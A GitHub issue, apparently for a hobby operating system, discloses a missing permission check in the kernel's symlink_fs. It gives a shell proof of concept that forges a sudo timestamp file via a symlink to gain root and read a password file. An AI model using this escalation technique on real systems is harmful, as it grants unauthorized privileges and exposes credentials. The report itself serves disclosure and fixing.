Skip to content

Missing permission checks on symlink_fs leads to privilege escalation using sudo #307

Open
@ctfRenegade

Description

@ctfRenegade

Missing permission checks in symlink_fs lead to privilege escalation by creating a symbolic link at /var/sudoers/1000 pointing to a file with a recent timestamp.

sudo uses a token_file with a timestamp to check for previous sudo usages, so it does not prompt the user for a password all the time:

sprintf(token_file, "/var/sudoers/%d", me); /* TODO: Restrict to this session? */

if (need_password) {
	struct stat buf;
	if (!stat(token_file, &buf)) {
		/* check the time */
		if (buf.st_mtime > (SUDO_TIME) && time(NULL) - buf.st_mtime < (SUDO_TIME)) {
			need_password = 0;
		}
	}
}

symlink_fs allows to create file anywhere, as long as it does not overwrite an existing file.

int symlink_fs(char * target, char * name) {
	fs_node_t * parent;
	char *cwd = (char *)(this_core->current_process->wd_name);
	char *path = canonicalize_path(cwd, name);

	char * parent_path = malloc(strlen(path) + 5);
	snprintf(parent_path, strlen(path) + 4, "%s/..", path);

	char * f_path = path + strlen(path) - 1;
	while (f_path > path) {
		if (*f_path == '/') {
			f_path += 1;
			break;
		}
		f_path--;
	}

	debug_print(NOTICE, "creating symlink %s within %s", f_path, parent_path);

	parent = kopen(parent_path, 0);
	free(parent_path);

	if (!parent) {
		free(path);
		return -ENOENT;
	}

	int ret = 0;
	if (parent->symlink) {
		ret = parent->symlink(parent, target, f_path);
	} else {
		ret = -EINVAL;
	}

	free(path);
	close_fs(parent);

	return ret;
}

With the arbitrary file write using symlink_fs, we can create the /var/sudoers/1000 token_file and pass this check without entering the password.

The other filesystem related syscalls use a permission check function, which symlink_fs seems to be missing.

if (!has_permission(parent, 02)) {

Over all, the privilege escalation PoC looks as follows:

local@livecd ~$ sudo ls                                                                                      [12/30 17:32:52] 
[sudo] password for local: 
Sorry, try again.
[sudo] password for local: 
Sorry, try again.
[sudo] password for local: 
sudo: 3 incorrect password attempts
local@livecd 1 ~$ echo "hello" > test.txt                                                                    [12/30 17:32:57] 
local@livecd ~$ ln -s /home/local/test.txt /var/sudoers/1000                                                 [12/30 17:33:05] 
local@livecd ~$ sudo cat /etc/master.passwd                                                                  [12/30 17:33:33] 
root:toor:0:0:Administrator:/home/root:/bin/esh:fancy
local:local:1000:1000:Local User:/home/local:/bin/esh:fancy
guest:guest:1001:1001:Guest User:/home/guest:/bin/esh:fancy
local@livecd ~$                                                                                              [12/30 17:33:39] 

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions